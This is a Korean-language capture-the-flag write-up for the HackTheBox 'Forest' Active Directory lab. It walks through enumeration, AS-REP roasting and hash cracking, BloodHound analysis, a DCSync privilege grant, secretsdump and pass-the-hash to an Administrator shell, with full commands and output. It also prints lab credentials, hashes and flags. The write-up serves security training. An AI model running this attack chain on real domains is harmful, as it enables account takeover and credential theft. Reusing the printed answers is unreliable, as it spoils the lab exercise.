HackTheBox Labs Writeup - Forest

Overview
이 글에서는 HackTheBox Labs 머신 중 하나인 Forest 머신에 대한 풀이 방법에 대해 설명한다.

Task 1
Question : For which domain is this machine a Domain Controller?
공격 대상 머신에서 운영 중인 도메인 컨트롤러의 이름을 묻고 있다. nmap 으로 조사해보면 다음과 같다.
$ nmap -sV -A -T4 -Pn 10.10.10.161
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-27 01:22 EST
Nmap scan report for 10.10.10.161
Host is up (0.19s latency).
Not shown: 989 closed tcp ports (reset)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-01-27 06:29:10Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=1/27%OT=53%CT=1%CU=42202%PV=Y%DS=2%DC=T%G=Y%TM=6797
OS:2646%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10C%TS=A)SEQ(SP=106%GCD=
OS:1%ISR=10C%II=I%TS=A)SEQ(SP=106%GCD=1%ISR=10C%CI=I%TS=A)OPS(O1=M53CNW8ST1
OS:1%O2=M53CNW8ST11%O3=M53CNW8NNT11%O4=M53CNW8ST11%O5=M53CNW8ST11%O6=M53CST
OS:11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=2000)ECN(R=Y%DF=Y%T=80
OS:%W=2000%O=M53CNW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R
OS:=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=
OS:AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=
OS:80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0
OS:%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=1
OS:64%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z)
Network Distance: 2 hops
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-01-27T06:29:36
|_ start_date: 2025-01-27T06:22:47
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: FOREST
| NetBIOS computer name: FOREST\x00
| Domain name: htb.local
| Forest name: htb.local
| FQDN: FOREST.htb.local
|_ System time: 2025-01-26T22:29:34-08:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: mean: 2h46m48s, deviation: 4h37m08s, median: 6m47s
TRACEROUTE (using port 993/tcp)
HOP RTT ADDRESS
1 189.75 ms 10.10.14.1
2 189.95 ms 10.10.10.161
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.87 seconds
3268 번 포트에서 lDAP 을 운영 중이고, 도메인 이름은 htb.local
인 것을 확인할 수 있다.
Answer : htb.local
Task 2
Question : Which of the following services allows for anonymous authentication and can provide us with valuable information about the machine? FTP, LDAP, SMB, WinRM
FTP, LDAP, SMB, WinRM 중 익명으로 접속하여 유의미한 정보를 얻을 수 있는 수단을 묻고 있다. nmap 실행 결과 SMB 와 LDAP 이 운영 중인 것을 확인했으니 하나 씩 접근해보자.
smbclient
로 익명으로 접속한 결과는 아래와 같다. 접속 자체를 실패했다.
$ smbclient -L 10.10.10.161
Password for [WORKGROUP\kali]:
Anonymous login successful
Sharename Type Comment
--------- ---- -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.161 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
-x
옵션은 Simple autehnication 으로, 특별한 크리덴셜을 요구하지 않는 익명 인증을 뜻한다. 아래 명령어는 공격 대상 머신의 ldap 에 익명으로 namingcontexts 관련 정보를 출력한다.
$ ldapsearch -H ldap://10.10.10.161 -x -s base namingcontexts
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts
#
#
dn:
namingContexts: DC=htb,DC=local
namingContexts: CN=Configuration,DC=htb,DC=local
namingContexts: CN=Schema,CN=Configuration,DC=htb,DC=local
namingContexts: DC=DomainDnsZones,DC=htb,DC=local
namingContexts: DC=ForestDnsZones,DC=htb,DC=local
# search result
search: 2
result: 0 Success
# numResponses: 2
# numEntries: 1
DC 정보를 얻었으니 이번엔 검색 조건에 base dn 을 지정하는 -b
옵션을 추가하여 검색해보자.
$ ldapsearch -H ldap://10.10.10.161 -x -b DC=htb,DC=local
명령을 실행하면 너무나도 많은 정보가 출력된다. 출력되는 정보를 자세히 살펴보면 objectClass
값이 person
인 entry 의 sAMAccountName
속성 값에 사용자 정보가 존재하는 것을 알 수 있다.
해당 정보만을 출력할 수 있도록 검색 조건을 좀 더 상세하게 지정하는 명령어를 실행하면 아래와 같다.
$ ldapsearch -H ldap://10.10.10.161 -x -b DC=htb,DC=local "(objectClass=person)" | grep "sAMAccountName:"
sAMAccountName: Guest
sAMAccountName: DefaultAccount
sAMAccountName: FOREST$
sAMAccountName: EXCH01$
sAMAccountName: $331000-VK4ADACQNUCA
sAMAccountName: SM_2c8eef0a09b545acb
sAMAccountName: SM_ca8c2ed5bdab4dc9b
sAMAccountName: SM_75a538d3025e4db9a
sAMAccountName: SM_681f53d4942840e18
sAMAccountName: SM_1b41c9286325456bb
sAMAccountName: SM_9b69f1b9d2cc45549
sAMAccountName: SM_7c96b981967141ebb
sAMAccountName: SM_c75ee099d0a64c91b
sAMAccountName: SM_1ffab36a2f5f479cb
sAMAccountName: HealthMailboxc3d7722
sAMAccountName: HealthMailboxfc9daad
sAMAccountName: HealthMailboxc0a90c9
sAMAccountName: HealthMailbox670628e
sAMAccountName: HealthMailbox968e74d
sAMAccountName: HealthMailbox6ded678
sAMAccountName: HealthMailbox83d6781
sAMAccountName: HealthMailboxfd87238
sAMAccountName: HealthMailboxb01ac64
sAMAccountName: HealthMailbox7108a4e
sAMAccountName: HealthMailbox0659cc1
sAMAccountName: sebastien
sAMAccountName: lucinda
sAMAccountName: andy
sAMAccountName: mark
sAMAccountName: santi
sAMAccountName: test_user
혹은 enum4linux
명령어를 실행하여 쉽게 유저 정보를 수집할 수도 있다.
$ enum4linux -a 10.10.10.161
... 중략 ...
=======================================( Users on 10.10.10.161 )=======================================
index: 0x2137 RID: 0x463 acb: 0x00020015 Account: $331000-VK4ADACQNUCA Name: (null) Desc: (null)
... 중략 ...
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]
user:[SM_75a538d3025e4db9a] rid:[0x466]
user:[SM_681f53d4942840e18] rid:[0x467]
user:[SM_1b41c9286325456bb] rid:[0x468]
user:[SM_9b69f1b9d2cc45549] rid:[0x469]
user:[SM_7c96b981967141ebb] rid:[0x46a]
user:[SM_c75ee099d0a64c91b] rid:[0x46b]
user:[SM_1ffab36a2f5f479cb] rid:[0x46c]
user:[HealthMailboxc3d7722] rid:[0x46e]
user:[HealthMailboxfc9daad] rid:[0x46f]
user:[HealthMailboxc0a90c9] rid:[0x470]
user:[HealthMailbox670628e] rid:[0x471]
user:[HealthMailbox968e74d] rid:[0x472]
user:[HealthMailbox6ded678] rid:[0x473]
user:[HealthMailbox83d6781] rid:[0x474]
user:[HealthMailboxfd87238] rid:[0x475]
user:[HealthMailboxb01ac64] rid:[0x476]
user:[HealthMailbox7108a4e] rid:[0x477]
user:[HealthMailbox0659cc1] rid:[0x478]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]
... 후략 ...
Answer : LDAP
Task 3
Question : Which user has Kerberos Pre-Authentication disabled?
앞서 수집한 사용자 목록과 GetNPUsers.py 를 이용하면 'Do not require Kerberos preauthentication'(UF_DONT_REQUIRE_PREAUTH) 속성이 부여된 사용자의 TGT 를 얻을 수 있다.
스크립트 실행에 앞서 ldap 도메인 주소를 /etc/hosts
파일에 추가했다.
$ echo "10.10.10.161 htb.local" | sudo tee -a /etc/hosts
GetNPUsers.py
와 앞서 수집한 사용자 목록을 저장한 username.txt
파일을 이용해 패스워드 해시 값을 수집한다.
$ GetNPUsers.py htb.local/ -usersfile username.txt -dc-ip 10.10.10.161 -outputfile hash.txt
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
/home/kali/Desktop/htb/forest/venv/bin/GetNPUsers.py:165: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User HealthMailboxc3d7722 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailboxfc9daad doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailboxc0a90c9 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox670628e doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox968e74d doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox6ded678 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox83d6781 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailboxfd87238 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailboxb01ac64 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox7108a4e doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox0659cc1 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User sebastien doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User lucinda doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$svc-alfresco@HTB.LOCAL:0fea980e4a8c6975b4c5528ba1773848$e8d2a29e2a2e48360a09e2acb48563155dafcaa762cdc85eaa9133b6a5790280a796b97c04a8db9e4fd07b75103012ad82502a570b9c5f4b3188e66fea395ddb2ad40993941ca35ba67ffb4c3fc42a7a5bb38ed30893a9460e9898134c143efc299b9e6ecb44045847f826163cc191f1e27e3ca40eec43e19dd466d8d2e8088800773c3eb5904af7e01ec5ec551c3a9470d96d28f69ac6ba47c4379198f132b3b5e45d29de7a47d7fdf03e72d9dc041341eda866ffbcf37b715915a4eb15c87f25b3041ed1612aef02ee0e1ac1674ee13ffbfd976e4020a5aad904d3f823b0590d1126e26ba9
[-] User andy doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User santi doesn't have UF_DONT_REQUIRE_PREAUTH set
실행 결과 svc-alfresco
사용자에 대한 krb5asrep 해시 값을 수집할 수 있었다.
Answer : svc-alfresco
Task 4
Question : What is the password of the user svc-alfresco?
앞선 Task 에서 svc-alfresco
사용자의 Kerberos AS-REP 해시 값을 손에 넣었으니, hashcat 을 사용하여 해시를 크래킹하여 평문 암호를 얻을 수 있을 것 같다.
hashcat 을 사용하는 자세한 방법은 링크를 참고하자.
우선 hash.txt
파일에 앞서 구한 해시 값을 저장했다.
$krb5asrep$23$svc-alfresco@HTB.LOCAL:0fea980e4a8c6975b4c5528ba1773848$e8d2a29e2a2e48360a09e2acb48563155dafcaa762cdc85eaa9133b6a5790280a796b97c04a8db9e4fd07b75103012ad82502a570b9c5f4b3188e66fea395ddb2ad40993941ca35ba67ffb4c3fc42a7a5bb38ed30893a9460e9898134c143efc299b9e6ecb44045847f826163cc191f1e27e3ca40eec43e19dd466d8d2e8088800773c3eb5904af7e01ec5ec551c3a9470d96d28f69ac6ba47c4379198f132b3b5e45d29de7a47d7fdf03e72d9dc041341eda866ffbcf37b715915a4eb15c87f25b3041ed1612aef02ee0e1ac1674ee13ffbfd976e4020a5aad904d3f823b0590d1126e26ba9
이후 SecList 의 rockyou.txt
파일을 사전으로 사용하여 hascat 을 실행했다.
$ hashcat -m 18200 hash.txt '/home/kali/Desktop/SecLists-master/Passwords/Leaked-Databases/rockyou.txt'
실행 결과 svc-alfresco
사용자의 암호가 s3rvice
인 것을 확인할 수 있다.
Dictionary cache built:
* Filename..: /home/kali/Desktop/SecLists-master/Passwords/Leaked-Databases/rockyou.txt
* Passwords.: 14344391
* Bytes.....: 139921497
* Keyspace..: 14344384
* Runtime...: 2 secs
$krb5asrep$23$svc-alfresco@HTB.LOCAL:0fea980e4a8c6975b4c5528ba1773848$e8d2a29e2a2e48360a09e2acb48563155dafcaa762cdc85eaa9133b6a5790280a796b97c04a8db9e4fd07b75103012ad82502a570b9c5f4b3188e66fea395ddb2ad40993941ca35ba67ffb4c3fc42a7a5bb38ed30893a9460e9898134c143efc299b9e6ecb44045847f826163cc191f1e27e3ca40eec43e19dd466d8d2e8088800773c3eb5904af7e01ec5ec551c3a9470d96d28f69ac6ba47c4379198f132b3b5e45d29de7a47d7fdf03e72d9dc041341eda866ffbcf37b715915a4eb15c87f25b3041ed1612aef02ee0e1ac1674ee13ffbfd976e4020a5aad904d3f823b0590d1126e26ba9:s3rvice
Answer : s3rvice
Task 5
Question : To what port can we connect with these creds to get an interactive shell?
대표적인 interactive shell 은 SSH(22) 와 WinRM(5985)가 있다. 테스트해보니 evil-winrm 와 앞서 구한 크리덴셜을 이용해 접속할 수 있었다.
$ evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents>
Answer : 5985
Submit User Flag
Question : Submit the flag located on the svc-alfresco user's desktop.
evil-winrm 으로 접속 후 svc-alfresco
사용자의 desktop 경로에 가보면 user.txt
파일에서 user flag 를 손에 넣을 수 있다.
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> type C:\Users\svc-alfresco\Desktop\user.txt
20ea1efce73a4cbe601fc1ffceaf5daa
Answer : 20ea1efce73a4cbe601fc1ffceaf5daa
Task 7
Question : Which group has WriteDACL permissions over the HTB.LOCAL domain? Give the group name without the `@htb.local`.
Task 에서는 Active Directory 도메인 내에서 WriteDACL
권한을 가진 그룹을 묻고 있다.
BloodHound 툴은 Active Directory 의 복잡한 관계를 그래프 형태로 보여주는 툴이다. 레포지토리에서 release 된 zip 파일을 다운로드 후, zip 파일 내의 SharpHound.exe
파일을 evil-winrm 으로 업로드하자.SharpHound.exe
파일은 Windows OS 환경의 접근 가능한 Active Directory 도메인 정보를 수집하는 도구다.
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> .\SharpHound.exe
2025-01-27T01:18:38.3229762-08:00|INFORMATION|This version of SharpHound is compatible with the 4.3.1 Release of BloodHound
2025-01-27T01:18:38.5260359-08:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2025-01-27T01:18:38.5572663-08:00|INFORMATION|Initializing SharpHound at 1:18 AM on 1/27/2025
2025-01-27T01:18:38.8853748-08:00|INFORMATION|[CommonLib LDAPUtils]Found usable Domain Controller for htb.local : FOREST.htb.local
2025-01-27T01:18:39.0103792-08:00|INFORMATION|Flags: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2025-01-27T01:18:39.3855304-08:00|INFORMATION|Beginning LDAP search for htb.local
2025-01-27T01:18:39.4791357-08:00|INFORMATION|Producer has finished, closing LDAP channel
2025-01-27T01:18:39.4947532-08:00|INFORMATION|LDAP channel closed, waiting for consumers
2025-01-27T01:19:09.6511844-08:00|INFORMATION|Status: 0 objects finished (+0 0)/s -- Using 41 MB RAM
2025-01-27T01:19:24.1510983-08:00|INFORMATION|Consumers finished, closing output channel
2025-01-27T01:19:24.1979768-08:00|INFORMATION|Output channel closed, waiting for output task to complete
Closing writers
2025-01-27T01:19:24.3386004-08:00|INFORMATION|Status: 161 objects finished (+161 3.659091)/s -- Using 49 MB RAM
2025-01-27T01:19:24.3386004-08:00|INFORMATION|Enumeration finished in 00:00:44.9641571
2025-01-27T01:19:24.4479773-08:00|INFORMATION|Saving cache with stats: 118 ID to type mappings.
117 name to SID mappings.
0 machine sid mappings.
2 sid to domain mappings.
0 global catalog mappings.
2025-01-27T01:19:24.4636405-08:00|INFORMATION|SharpHound Enumeration Completed at 1:19 AM on 1/27/2025! Happy Graphing!
SharpHound.exe
를 실행한 결과 수집한 정보들을 압축한 20250127011838_BloodHound.zip
파일이 생성됐다. 파일명은 실행 시간에 따라 변경될 수 있다.
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> dir
Directory: C:\Users\svc-alfresco\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 1/27/2025 1:19 AM 18939 20250127011838_BloodHound.zip
-a---- 1/27/2025 1:19 AM 19538 MzZhZTZmYjktOTM4NS00NDQ3LTk3OGItMmEyYTVjZjNiYTYw.bin
-a---- 1/27/2025 1:18 AM 1061888 SharpHound.exe
-ar--- 1/26/2025 10:23 PM 34 user.txt
evil-winrm 의 download
명령어를 실행해 생성한 zip 파일을 로컬 PC 로 가져오자.
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> download 20250127011838_BloodHound.zip
Info: Downloading C:\Users\svc-alfresco\Desktop\20250127011838_BloodHound.zip to 20250127011838_BloodHound.zip
Info: Download successful!
이제 bloodhound 를 실행해 수집한 정보를 분석할 것이다. 만약 bloodhound 를 설치하지 않았다면 공식 문서를 참고하여 설치하자.
bloodhound 를 설치, 브라우저로 접속한 후 앞서 수집한 zip 파일을 브라우저에 드래그 앤 드랍하면 분석을 진행할 수 있다.
좌측 상단 메뉴의 Anlysis
탭에서 제공하는 쿼리 중 Shortest Path to High-Value targets
를 선택하면 HTB.LOCAL
도메인과 연결된 전체 네트워크의 조망도를 볼 수 있다.

우리가 관심 가지는 목표는 HTB.LOCAL
이니 해당 노드를 찾아 주목하자. 자세히 보면 해당 노드는 EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL
이라는 이름의 노드와 WriteDacl
이라는 선으로 이어진 것을 볼 수 있다.

이는 EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL
그룹이 HTB.LOCAL
에 대해 WriteDacl
권한을 가진다는 의미이다.
Answer : EXCHANGE WINDOWS PERMISSIONS
Task 8
Question : The user svc-alfresco is a member of a group that allows them to add themself to the "Exchange Windows Permissions" group. Which group is that?
Task 에서는 svc-alfresco
사용자를 Exchange Windows Permissions
그룹에 추가할 수 있는 그룹의 이름을 묻고 있다. 앞선 Task 에서 Exchange Windows Permissions
그룹이 도메인에 대해 WriteDacl
권한을 가지고 있으므로, svc-alfresco
사용자를 그룹에 추가하면 해당 권한을 이용해 공격할 수 있을 것이다.
BloodHound 화면의 좌측 상단의 경로지 설정에서 시작 지점을 SVC-ALFRESCO@HTB.LOCAL
로, 도착 지점을 EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL
로 설정하여 svc-alfresco
사용자로부터 Exchange Windows Permissions
그룹까지의 경로를 확인해보면 다음과 같다.

svc-alfresco
사용자와 Exchange Windows Permissions
그룹 간 관계우측 하단의 해골 표시 노드가 svc-alfresco
사용자이며, 중앙의 작은 과녁 노드가 Exchange Windows Permissions
그룹이다. 위 그래프를 요약하면, svc-alfresco
사용자는 SERVICE ACCOUNTS
그룹의 멤버이며, 이 그룹은 PRIVILEGED IT ACCOUNTS
그룹의 멤버이며, PRIVILEGED IT ACCOUNTS
그룹은 ACCOUNT OPERATORS
그룹의 멤버이며, ACCOUNT OPERATORS
그룹은 Exchange Windows Permissions
그룹에 대해 GenericAll
권한을 가지고 있다.
즉, 이러한 그룹 간의 연결고리를 통해 svc-alfresco
사용자는 새로운 계정을 생성해 Exchange Windows Permissions
그룹에 추가할 수 있다.
Answer : ACCOUNT OPERATORS
Task 9
Question : Which of the following attacks you can perform to elevate your privileges with a user that has WriteDACL on the domain? PassTheHash, PassTheTicket, DCSync, KrbRelay
앞선 그래프에서 WriteDacl
그래프를 우클릭 후, Help
버튼을 클릭하면 해당 권한을 이용하여 취약점을 공격할 수 있는 방법에 대한 자세한 설명이 나타난다.
우리가 공격하고자 하는 시스템은 Windows OS 를 사용하니 Windows Abuse
탭을 클릭하자. 해당 탭는 WriteDacl
권한을 이용하여 취약점을 공격하는 방법에 대해 자세히 설명하고 있다. 자세히 읽어보면 WriteDacl
권한을 이용하면 자기 자신에게 DCSync
권한을 부여할 수 있다는 내용이 있다.

Answer : DCSync
Submit Root Flag
앞서 수집한 정보를 바탕으로 다음과 같은 과정을 거쳐 Root Flag 를 얻어야 한다.
svc-alfresco
사용자를Exchange Windows Permissions
그룹의 멤버로 등록.Exchange Windows Permissions
그룹의WriteDacl
권한을 이용해DCSync
권한 획득.
우선 다시 evil-winrm 을 실행해 svc-alfresco
사용자의 권한으로 test_user
를 생성했다. 암호는 test_pwd
다.
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> net user test_user test_pwd /add /domain
The command completed successfully.
앞서 보았던 그룹간 관계에 따라, svc-alfresco
사용자는 Exchange Windows Permissions
그룹에 사용자를 추가할 수 있다. 방금 생성한 test_user
를 그룹에 추가하자.
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> net group "Exchange Windows Permissions" /add test_user
The command completed successfully.
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> net group "Exchange Windows Permissions"
Group name Exchange Windows Permissions
Comment This group contains Exchange servers that run Exchange cmdlets on behalf of users via the management service. Its members have permission to read and modify all Windows accounts and groups. This group should not be deleted.
Members
-------------------------------------------------------------------------------
test_user
The command completed successfully.
이제 BloodHound 에서 알려준 DCSync 권한 획득 스크립트를 실행하자. 이 스크립트를 실행하기 위해서는 PowerView.ps1 스크립트가 필요하다. 미리 evil-rm 으로 업로드 후 import 하자.
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> upload '/home/kali/Desktop/htb/forest/PowerView.ps1'
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> Import-Module .\PowerView.ps1
이후는 BloodHound 에서 알려준 스크립트에서 인자 값만 적절하게 설정하여 실행하면 된다. test_user
는 앞서 Exchange Windows Permissions
그룹에 추가한 사용자 이름이고, test_pwd
는 test_user
의 암호다.
$SecPassword = ConvertTo-SecureString 'test_pwd' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb\test_user', $SecPassword)
아래 명령어 실행 시 ObjectNotFound: (Add-DomainObjectAcl:String)
에러가 발생한다면 PowerView.ps1
이 제대로 import 되지 않은 거니 다시 확인하자.
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity test_user -Rights DCSync
위 명령어를 실행하면 잠시 후 DCSync
가 적용된다. 다시 공격자 PC로 돌아와 아래 명령어를 실행해 해시 값을 덤프하자. secretsdump.py
은 impacket 을 구성하는 파일 중 하나다.
python secretsdump.py htb.local/test_user:test_pwd@10.10.10.161 > dumped_hash.txt
dumped_hash.txt
파일 내용은 다음과 같다.
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
... 후략 ...
Administrator
의 해시 값을 알았으니 psexec
로 접속을 시도해보자.
$ python psexec.py Administrator@10.10.10.161 -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting shares on 10.10.10.161.....
[*] Found writable share ADMIN$
[*] Uploading file KQJZpxOH.exe
[*] Opening SVCManager on 10.10.10.161.....
[*] Creating service bOXK on 10.10.10.161.....
[*] Starting service bOXK.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
Administrator 로 접속하면 Desktop 경로의 root.txt
파일에서 root flag 를 손에 넣을 수 있다.
C:\Users\Administrator\Desktop> type C:\Users\Administrator\Desktop\root.txt
2b825e8ead85f8b5f1091437048cf73c